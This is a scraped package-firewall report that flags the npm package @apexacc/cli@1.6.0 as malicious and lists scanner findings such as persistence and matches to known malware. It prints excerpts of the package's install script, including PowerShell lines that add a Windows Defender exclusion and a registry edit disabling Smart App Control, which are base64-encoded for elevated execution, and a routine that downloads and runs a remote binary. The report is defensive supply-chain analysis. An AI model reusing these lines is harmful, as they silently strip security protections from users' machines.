@apexacc/cli@1.6.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

@apexacc/cli@1.6.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

apex.cjsView file

1#!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path')

High

Child Process

Package source references child process execution.

apex.cjsView on unpkg · L1

94mkdirSync(join(os.homedir(), '.apex'), { recursive: true }) L95: await download(`https://github.com/${REPO}/releases/download/v${VERSION}/apex-verify-darwin`, verifyPath) L96: require('fs').chmodSync(verifyPath, 0o755) ... L103: ensureBinary().then(() => { L104: const result = spawnSync(BIN_PATH, process.argv.slice(2), { L105: stdio: 'inherit', env: process.env L106: })

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

apex.cjsView on unpkg · L94

1Trigger-reachable persistence chain: manifest.bin -> apex.cjs L1: #!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path') L4: const { existsSync, mkdirSync, createWriteStream } = require('fs') L5: const https = require('https') L6: const os = require('os') ... L9: // Windows 11 UAC elevation for SAC disable + exclusion L10: if (process.platform === 'win32') { L11: try { ... L15: if (_isWin11) { L16: const _home = require('os').homedir() L17: const _ps = `

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

apex.cjsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = @apexacc/cli@1.6.1 matchedPath = apex.cjs matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

apex.cjsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 9738273f1c1a108a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @apexacc/cli@1.6.1 matchedPath = apex.cjs matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.1 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

apex.cjsView on unpkg

•matchType = previous_version_dangerous_delta matchedPackage = @apexacc/cli@1.5.109 matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.5.109 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

apex.cjsView on unpkg

1#!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path') L4: const { existsSync, mkdirSync, createWriteStream } = require('fs') L5: const https = require('https') L6: const os = require('os') ... L9: // Windows 11 UAC elevation for SAC disable + exclusion L10: if (process.platform === 'win32') { L11: try { ... L15: if (_isWin11) { L16: const _home = require('os').homedir() L17: const _ps = `

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

apex.cjsView on unpkg · L1

bin/apexView file

•matchType = normalized_sha256 matchedPackage = @apexacc/cli@1.6.1 matchedPath = bin/apex matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/apexView on unpkg

Source & flagged code

8 flagged

apex.cjsView file

Lines 1-21javascript

1#!/usr/bin/env node

2const { spawnSync } = require('child_process')

3const { join } = require('path')

High

Child Process

Package source references child process execution.

apex.cjsView on unpkg · L1

4const { existsSync, mkdirSync, createWriteStream } = require('fs')

5const https = require('https')

6const os = require('os')

7

8

9// Windows 11 UAC elevation for SAC disable + exclusion

10if (process.platform === 'win32') {

11 try {

12 const { execSync, spawnSync: _sp } = require('child_process')

13 const _osv = require('os').release()

14 const _isWin11 = parseInt(_osv.split('.')[2] || '0') >= 22000

15 if (_isWin11) {

16 const _home = require('os').homedir()

17 const _ps = `

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

apex.cjsView on unpkg · L1

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

apex.cjsView on unpkg · L1

18 Add-MpPreference -ExclusionPath '${_home}\.apex' -ErrorAction SilentlyContinue

19 reg add 'HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy' /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f

20 `.replace(/\n/g, ';')

21 const _enc = Buffer.from(_ps, 'utf16le').toString('base64')

Lines 74-112javascript

74

75 const { chmodSync } = require('fs')

76 if (!isWin) chmodSync(BIN_PATH, 0o755)

77

78 // Windows: download native addon

79 if

•matchType = normalized_sha256 matchedPackage = @apexacc/cli@1.6.1 matchedPath = apex.cjs matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

apex.cjsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 9738273f1c1a108a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @apexacc/cli@1.6.1 matchedPath = apex.cjs matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.1 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

apex.cjsView on unpkg

•matchType = previous_version_dangerous_delta matchedPackage = @apexacc/cli@1.5.109 matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.5.109 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

apex.cjsView on unpkg

bin/apexView file

•matchType = normalized_sha256 matchedPackage = @apexacc/cli@1.6.1 matchedPath = bin/apex matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/apexView on unpkg